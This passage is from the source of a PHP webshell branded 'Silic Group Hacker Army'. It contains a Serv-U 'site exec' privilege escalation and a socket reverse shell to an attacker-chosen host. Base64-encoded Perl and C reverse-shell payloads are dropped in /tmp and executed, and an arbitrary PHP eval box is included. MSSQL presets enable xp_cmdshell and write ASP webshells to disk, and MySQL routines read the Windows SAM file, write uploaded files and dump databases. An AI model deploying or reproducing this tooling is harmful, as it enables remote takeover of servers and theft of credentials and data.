				echo ": $sendbuf <br>"; 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				$sendbuf = $domain; 
				@fputs($sock, $sendbuf, strlen($sendbuf)); 
				echo ": $sendbuf <br>"; 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				$sendbuf = $adduser; 
				@fputs($sock, $sendbuf, strlen($sendbuf)); 
				echo ": $sendbuf <br>"; 
				$recvbuf = @fgets($sock, 1024); 
				echo ": $recvbuf <br>"; 
				if(!empty($_POST['SUCommand'])) 
				{ 
					$exp = @fsockopen("127.0.0.1", "21", $errno, $errstr, 10); 
					$recvbuf = @fgets($exp, 1024); 
					echo ": $recvbuf <br>"; 
					$sendbuf = "USER ".$_POST['user']."\r\n"; 
					@fputs($exp, $sendbuf, strlen($sendbuf)); 
					echo ": $sendbuf <br>"; 
					$recvbuf = @fgets($exp, 1024); 
					echo ": $recvbuf <br>"; 
					$sendbuf = "PASS ".$_POST['password']."\r\n"; 
					@fputs($exp, $sendbuf, strlen($sendbuf)); 
					echo ": $sendbuf <br>"; 
					$recvbuf = @fgets($exp, 1024); 
					echo ": $recvbuf <br>"; 
					$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; 
					@fputs($exp, $sendbuf, strlen($sendbuf)); 
					echo ": site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>"; 
					$recvbuf = @fgets($exp, 1024); 
					echo ": $recvbuf <br>"; 
					$sendbuf = $deldomain; 
					@fputs($sock, $sendbuf, strlen($sendbuf)); 
					echo ": $sendbuf <br>"; 
					$recvbuf = @fgets($sock, 1024); 
					echo ": $recvbuf <br>"; 
					@fclose($exp); 
				} 
				@fclose($sock); 
				echo '</div>'; 
			} 
		} 
		// 
		function backconn() 
		{ 
			$ty=$_GET['ty']; 
			if($ty=='socket'){ 
				@set_time_limit(0); 
				$system=strtoupper(substr(PHP_OS, 0, 3)); 
				if(!extension_loaded('sockets')) 
				{ 
					if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");} 
					else{@dl('sockets.so') or die("Can't load socket");} 
				} 
				if(isset($_POST['host']) && isset($_POST['port'])) 
				{ 
					$host = $_POST['host']; 
					$port = $_POST['port']; 
				}else{ 
					print<<<END 
<div class="actall"><form method=post action="?s=dd&ty=socket"> 
<br>:<input type="radio" name=info value="linux">Linux <input type="radio" name=info value="win" checked>Windows<br><br> 
<input type=text name=host value=""><br> 
<input type=text name=port value="1120"><br><br> 
<input class="bt" type=submit name=submit value=""><br><br></form></div> 
END; 
				} 
				if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');} 
				else{$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');} 
				$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),); 
				$host=gethostbyname($host); 
				$proto=getprotobyname("tcp"); 
				if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket");} 
				if(($ret=socket_connect($sock,$host,$port))<0){die("");} 
				else{ 
					$message=" Silic Group Hacker Army - BlackBap.Org - PHP\n"; 
					socket_write($sock,$message,strlen($message)); 
					$cwd=str_replace('\\','/',dirname(__FILE__)); 
					while($cmd=socket_read($sock,65535,$proto)) 
					{ 
						if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye\n"); exit;} 
						else{ 
							$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); 
							if (is_resource($process)){ 
								fwrite($pipes[0], $cmd); 
								fclose($pipes[0]); 
								$msg=stream_get_contents($pipes[1]); 
								socket_write($sock,$msg,strlen($msg)); 
								fclose($pipes[1]); 
								$msg=stream_get_contents($pipes[2]); 
								socket_write($sock,$msg,strlen($msg)); 
								$return_value = proc_close($process); 
							} 
						} 
					} 
				} 
			} 
			elseif($ty=='linux'){ 
				$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); 
				$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; 
				print<<<END 
<div class="actall"><form method="POST" name="kform" id="kform" action="?s=dd&ty=linux"> 
<br> <input type="text" name="yourip" value="{$yourip}" style="width:400px"><br> 
 <input type="text" name="yourport" value="12666" style="width:400px"><br> 
 <select name="use"><option value="perl">perl</option><option value="c">c</option></select>&nbsp;&nbsp; 
<input type="submit" value="" style="width:80px;"><br><br><br></form></div> 
END; 
				if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) 
				{ 
					echo '<div class="actall">'; 
					if($_POST['use'] == 'perl') 
					{ 
						$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
						echo File_Write('/tmp/yoco_bc',base64_decode($back_connect_pl),'wb') ? '/tmp/yoco_bc<br>' : '/tmp/yoco_bc<br>'; 
						$perlpath = Exec_Run('which perl'); 
						$perlpath = $perlpath ? chop($perlpath) : 'perl'; 
						echo Exec_Run($perlpath.' /tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : ''; 
					} 
					if($_POST['use'] == 'c') 
					{ 
						$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; 
						echo File_Write('/tmp/yoco_bc.c',base64_decode($back_connect_c),'wb') ? '/tmp/yoco_bc.c<br>' : '/tmp/yoco_bc.c<br>'; 
						$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); 
						@unlink('/tmp/yoco.c'); 
						echo Exec_Run('/tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : ''; 
					} 
					echo '<br> (nc -l -n -v -p '.$_POST['yourport'].') </div>'; 
				} 
				return true; 
			}else{ 
				print<<<END 
<div class="actall"><pre> 
<br><a href="?s=dd&ty=linux"> [ C/Perl  - Linux ] </a><br><br> 
<h5>linuxcmd<br> 
perlC/tmp<br> 
php<br> 
ncnc -vv -l -p 12666</h5><br><br><br> 
<a href="?s=dd&ty=socket"> [ Socket - Windows ] </a><br><br> 
<h5>PHPSocketcmdshellWebshellWindows<br> 
Socketphp_socketsopen/enable<br> 
phpinfo()php_socket<br> 
SocketPHP<br> 
<br> 
nc.exenc -vv -l -p 5555<br></h5> 
</pre></div> 
END; 
			} 
		} 
		//evalphp 
		function phpcode() 
		{ 
			print<<<END 
<div class="actall"><h5>php:<h5></div> 
<form action="?s=ff" method="POST"> 
<div class="actall"><textarea name="phpcode" rows="20" cols="80">phpinfo();/*print_r(apache_get_modules());*/</textarea></div><br /> 
<div><input class="bt" type="submit" value="EVAL"></div><br></form> 
END; 
			$phpcode = $_POST['phpcode']; 
			$phpcode = trim($phpcode); 
			if($phpcode){ 
				if(!preg_match('#<\?#si',$phpcode)){$phpcode = "<?php\n\n{$phpcode}\n\n?>";} 
				eval("?".">$phpcode<?php "); 
				echo '<br><br>'; 
			} 
			return false; 
		} 
		// 
		function otherdb(){ 
			$db = isset($_GET['db']) ? $_GET['db'] : 'ms'; 
			print<<<END 
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> 
<div class="actall"> 
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a> 
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a> 
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a> 
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a> 
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form> 
END; 
			if ($db=="ms"){ 
				$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost'; 
				$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; 
				$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; 
				$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; 
				$msaction = isset($_POST['action']) ? $_POST['action'] : ''; 
				$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; 
				$msquery = stripslashes($msquery); 
				print<<<END 
<div class="actall"> 
<form method="POST" name="msform" action="?s=gg&db=ms"> 
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> 
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> 
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> 
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> 
<script language="javascript"> 
function msFull(i){ 
	Str = new Array(11); 
	Str[0] = ""; 
	Str[1] = "select @@version;"; 
	Str[2] = "select name from sysdatabases;"; 
	Str[3] = "select name from sysobject where type='U';"; 
	Str[4] = "select name from syscolumns where id=Object_Id('table_name');"; 
	Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; 
	Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; 
	Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; 
	Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; 
	Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; 
	Str[10] = "Exec master.dbo.xp_cmdshell 'net user';"; 
	Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; 
	Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; 
	msform.mssql.value = Str[i]; 
	return true; 
} 
</script> 
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> 
<select onchange="return msFull(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3"></option> 
	<option value="4"></option> 
	<option value="5">sp_oacreate</option> 
	<option value="6">xp_cmdshell</option> 
	<option value="7">xp_cmdshell(2005)</option> 
	<option value="8">sp_oacreate(2005)</option> 
	<option value="9">openrowset(2005)</option> 
	<option value="10">xp_cmdshell exec</option> 
	<option value="10">sp_oamethod exec</option> 
	<option value="11">sp_makewebtask</option> 
</select> 
<input type="hidden" name="action" value="msquery"> 
<input class="bt" type="submit" value="Query"></form></div> 
END; 
				if ($msaction == 'msquery'){ 
					$msconn= mssql_connect ($mshost , $msuser, $mspass); 
					mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message()); 
					$msresult = mssql_query($msquery) or die(mssql_get_last_message()); 
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
					for ($i=0; $i<mssql_num_fields($msresult); $i++) 
					{echo '<td><b>'.mssql_field_name($msresult, $i)."</b></td>\n";} 
					echo "</tr>\n"; 
					mssql_data_seek($result, 0); 
					while ($msrow=mssql_fetch_row($msresult)) 
					{ 
						echo "<tr>\n"; 
						for ($i=0; $i<mssql_num_fields($msresult); $i++ ) 
						{echo '<td>'."$msrow[$i]".'</td>';} 
						echo "</tr>\n"; 
					} 
					echo "</table></font>"; 
					mssql_free_result($msresult); 
					mssql_close(); 
				} 
			} 
			elseif ($db=="ora"){ 
				$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; 
				$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; 
				$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; 
				$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; 
				$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; 
				$oraaction = isset($_POST['action']) ? $_POST['action'] : ''; 
				$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; 
				$oraquery = stripslashes($oraquery); 
				print<<<END 
<form method="POST" name="oraform" action="?s=gg&db=ora"> 
<div class="actall"> 
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> 
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> 
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> 
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> 
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> 
<script language="javascript"> 
function oraFull(i){ 
Str = new Array(5); 
	Str[0] = ""; 
	Str[1] = "select version();"; 
	Str[2] = "SELECT NAME FROM V$DATABASE"; 
	Str[3] = "select * From all_objects where object_type='TABLE'"; 
	Str[4] = "select column_name from user_tab_columns where table_name='table1'"; 
	oraform.orasql.value = Str[i]; 
	return true; 
} 
</script> 
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> 
<select onchange="return oraFull(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3"></option> 
	<option value="4"></option> 
</select> 
<input type="hidden" name="action" value="myquery"> 
<input class="bt" type="submit" value="Query"></div></form> 
END; 
				if($oraaction == 'oraquery'){ 
					$oralink=OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); 
					$oraresult=ociparse($oralink,$oraquery) or die(ocierror()); 
					$orarow=oci_fetch_row($oraresult); 
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
					for ($i=0; $i<oci_num_fields($oraresult); $i++) 
					{echo '<td><b>'.oci_field_name($oraresult, $i)."</b></td>\n";} 
					echo "</tr>\n"; 
					ociresult($oraresult, 0); 
					while ($orarow=ora_fetch_row($oraresult)) 
					{ 
						echo "<tr>\n"; 
						for ($i=0; $i<ora_num_fields($result); $i++ ) 
						{echo '<td>'."$orarow[$i]".'</td>';} 
						echo "</tr>\n"; 
					} 
					echo "</table></font>"; 
					oci_free_statement($oraresult); 
					ocilogoff(); 
				} 
			} 
			elseif ($db == "ifx"){ 
				$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; 
				$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; 
				$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; 
				$ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; 
				$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; 
				$ifxquery = stripslashes($ifxquery); 
				print<<<END 
<form method="POST" name="ifxform" action="?s=gg&db=ifx"> 
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> 
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> 
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> 
<script language="javascript"> 
function ifxFull(i){ 
Str = new Array(11); 
	Str[0] = ""; 
	Str[1] = "select dbservername from sysobjects;"; 
	Str[2] = "select name from sysdatabases;"; 
	Str[3] = "select tabname from systables;"; 
	Str[4] = "select colname from syscolumns where tabid=n;"; 
	Str[5] = "select username,usertype,password from sysusers;"; 
	ifxform.ifxsql.value = Str[i]; 
	return true; 
} 
</script> 
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> 
<select onchange="return ifxFull(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3"></option> 
	<option value="4">hashes</option> 
</select> 
<input type="hidden" name="action" value="ifxquery"> 
<input class="bt" type="submit" value="Query"></div></form> 
END; 
				if($ifxaction == 'ifxquery'){ 
					$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); 
					$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); 
					$ifxrow=ifx_fetch_row($ifxresult); 
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
					for($i=0; $i<ifx_num_fields($ifxresult); $i++) 
					{echo '<td><b>'.ifx_fieldproperties($ifxresult)."</b></td>\n";} 
					echo "</tr>\n"; 
					mysql_data_seek($ifxresult, 0); 
					while ($ifxrow=ifx_fetch_row($ifxresult)) 
					{ 
						echo "<tr>\n"; 
						for ($i=0; $i<ifx_num_fields($ifxresult); $i++ ) 
						{echo '<td>'."$ifxrow[$i]".'</td>';} 
						echo "</tr>\n"; 
					} 
					echo "</table></font>"; 
					ifx_free_result($ifxresult); 
					ifx_close(); 
				} 
			} 
			elseif ($db=="db2"){ 
				$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; 
				$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; 
				$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; 
				$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; 
				$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; 
				$db2action = isset($_POST['action']) ? $_POST['action'] : ''; 
				$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; 
				$db2query = stripslashes($db2query); 
				print<<<END 
<form method="POST" name="db2form" action="?s=gg&db=db2"> 
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> 
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> 
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> 
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> 
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> 
<script language="javascript"> 
function db2Full(i){ 
Str = new Array(4); 
	Str[0] = ""; 
	Str[1] = "select schemaname from syscat.schemata;"; 
	Str[2] = "select name from sysibm.systables;"; 
	Str[3] = "select colname from syscat.columns where tabname='table_name';"; 
	Str[4] = "db2 get db cfg for db_name;"; 
db2form.db2sql.value = Str[i]; 
return true; 
} 
</script> 
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> 
<select onchange="return db2Full(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3"></option> 
</select> 
<input type="hidden" name="action" value="db2query"> 
<input class="bt" type="submit" value="Query"></div></form> 
END; 
				if ($myaction == 'db2query'){ 
					$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); 
					$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); 
					$db2row=db2_fetch_row($db2result); 
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
					for ($i=0; $i<db2_num_fields($db2result); $i++) 
					{echo '<td><b>'.db2_field_name($db2result)."</b></td>\n";} 
					echo "</tr>\n"; 
					while ($db2row=db2_fetch_row($db2result)) 
					{ 
						echo "<tr>\n"; 
						for ($i=0; $i<db2_num_fields($db2result); $i++ ) 
						{echo '<td>'."$db2row[$i]".'</td>';} 
						echo "</tr>\n"; 
					} 
					echo "</table></font>"; 
					db2_free_result($db2result); 
					db2_close(); 
				} 
			} 
			elseif($db == "fb") { 
				$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; 
				$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; 
				$fbpath = str_replace("\\\\", "\\", $fbpath); 
				$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; 
				$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; 
				$fbaction = isset($_POST['action']) ? $_POST['action'] : ''; 
				$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; 
				$fbquery = stripslashes($fbquery); 
				print<<<END 
<form method="POST" name="fbform" action="?s=gg&db=fb"> 
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> 
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> 
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> 
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> 
<script language="javascript"> 
function fbFull(i){ 
Str = new Array(5); 
	Str[0] = ""; 
	Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; 
	Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; 
	Str[3] = "input 'D:\\createtable.sql';"; 
	Str[4] = "shell netstat -an;"; 
fbform.fbsql.value = Str[i]; 
return true; 
} 
</script> 
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> 
<select onchange="return fbFull(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3">sql</option> 
	<option value="4">shell</option> 
</select> 
<input type="hidden" name="action" value="fbquery"> 
<input class="bt" type="submit" value="Query"></div></form> 
END; 
				if($fbaction == 'fbquery'){ 
					$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); 
					$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); 
					echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
					for ($i=0; $i<ibase_num_fields($fbresult); $i++) 
					{echo '<td><b>'.ibase_field_info($fbresult, $i)."</b></td>\n";} 
					echo "</tr>\n"; 
					ibase_field_info($fbresult, 0); 
					while ($fbrow=ibase_fetch_row($fbresult)) 
					{ 
						echo "<tr>\n"; 
						for ($i=0; $i<ibase_num_fields($fbresult); $i++ ) 
						{echo '<td>'."$fbrow[$i]".'</td>';} 
						echo "</tr>\n"; 
					} 
					echo "</table></font>"; 
					ibase_free_result($fbresult); 
					ibase_close(); 
				} 
			} 
		} 
		//MySql 
		function Mysql_n() 
		{ 
			$MSG_BOX = ''; 
			$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; 
			if(isset($_POST['mhost']) && isset($_POST['muser'])) 
			{ 
				$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; 
				if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); 
				else $MSG_BOX = 'MYSQL'; 
			} 
			$downfile = 'c:/windows/repair/sam'; 
			if(!empty($_POST['downfile'])) 
			{ 
				$downfile = File_Str($_POST['downfile']); 
				$binpath = bin2hex($downfile); 
				$query = 'select load_file(0x'.$binpath.')'; 
				if($result = @mysql_query($query,$conn)) 
				{ 
					$k = 0; $downcode = ''; 
					while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} 
					$filedown = basename($downfile); 
					if(!$filedown) $filedown = 'silic.tmp'; 
					$array = explode('.', $filedown); 
					$arrayend = array_pop($array); 
					header('Content-type: application/x-'.$arrayend); 
					header('Content-Disposition: attachment; filename='.$filedown); 
					header('Content-Length: '.strlen($downcode)); 
					echo $downcode; 
					exit; 
				} 
				else $MSG_BOX = ''; 
			} 
			$o = isset($_GET['o']) ? $_GET['o'] : ''; 
			Root_CSS(); 
			print<<<END 
<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data"> 
<center><div class="actall"><a href="?s=n">[MYSQL]</a> 
<a href="?s=n&o=tq">[MYSQL]</a> 
<a href="?s=n&o=tk">[MYSQL]</a> 
<a href="?s=n&o=u">[MYSQL]</a> 
<a href="?s=n&o=d">[MYSQL]</a></div> 
<div class="actall"> 
 <input type="text" name="mhost" value="{$mhost}" style="width:110px"> 
 <input type="text" name="mport" value="{$mport}" style="width:110px"> 
 <input type="text" name="muser" value="{$muser}" style="width:110px"> 
 <input type="text" name="mpass" value="{$mpass}" style="width:110px"> 
 <input type="text" name="mdata" value="{$mdata}" style="width:110px"> 
</div> 
<div class="actall" style="height:220px;"> 
END; 
			if($o=='u') 
			{ 
				$uppath = 'C:/Documents and Settings/All Users////exp.vbs'; 
				if(!empty($_POST['uppath'])) 
				{ 
					$uppath = $_POST['uppath']; 
					$query = 'Create TABLE a (cmd text NOT NULL);'; 
					if(@mysql_query($query,$conn)) 
					{ 
						if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} 
						else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} 
						$query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; 
						if(@mysql_query($query,$conn)) 
						{ 
							$query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; 
							$MSG_BOX = @mysql_query($query,$conn) ? '' : ''; 
						} 
						else $MSG_BOX = ''; 
						@mysql_query('Drop TABLE IF EXISTS a;',$conn); 
					} 
					else $MSG_BOX = ''; 
				} 
				print<<<END 
<br><br> <input type="text" name="uppath" value="{$uppath}" style="width:500px"> 
<br><br> <input type="file" name="upfile" style="width:500px;height:22px;"> 
</div><div class="actall"><input type="submit" value="" style="width:80px;"> 
END; 
			} 
			elseif($o=='d') 
			{ 
				print<<<END 
<br><br><br> <input type="text" name="downfile" value="{$downfile}" style="width:500px"> 
</div><div class="actall"><input type="submit" value="" style="width:80px;"> 
END; 
			}elseif($o=='tk'){ 
				if($_POST['dump']=='dump'){ 
					$mysql_link=@mysql_connect($mhost,$muser,$mpass); 
					mysql_select_db($mdata); 
					mysql_query("SET NAMES gbk"); 
					$mysql=""; 
					$q1=mysql_query("show tables"); 
					while($t=mysql_fetch_array($q1)){ 
						$table=$t[0]; 
						$q2=mysql_query("show create table `$table`"); 
						$sql=mysql_fetch_array($q2); 
						$mysql.=$sql['Create Table'].";\r\n\r\n"; 
						$q3=mysql_query("select * from `$table`"); 
						while($data=mysql_fetch_assoc($q3)) 
						{ 
							$keys=array_keys($data); 
							$keys=array_map('addslashes',$keys); 
							$keys=join('`,`',$keys); 
							$keys="`".$keys."`"; 
							$vals=array_values($data); 
							$vals=array_map('addslashes',$vals); 
							$vals=join("','",$vals); 
							$vals="'".$vals."'"; 
							$mysql.="insert into `$table`($keys) values($vals);\r\n"; 
						} 
						$mysql.="\r\n"; 
					} 
					$filename=date("Y-m-d-GisA").".sql"; 
					$fp=fopen($filename,'w'); 
					fputs($fp,$mysql); 
					fclose($fp); 
					$tip="<br><center>[<a href=\"".$filename."\" title=\"\">".$filename."</a>]</center>"; 
				}else{$tip="";} 
				print<<<END 
<div class="actall"><form method="post" action="?s=n&o=tk"><br> 
 :-(<br><br> 
{$tip}<br><br> 
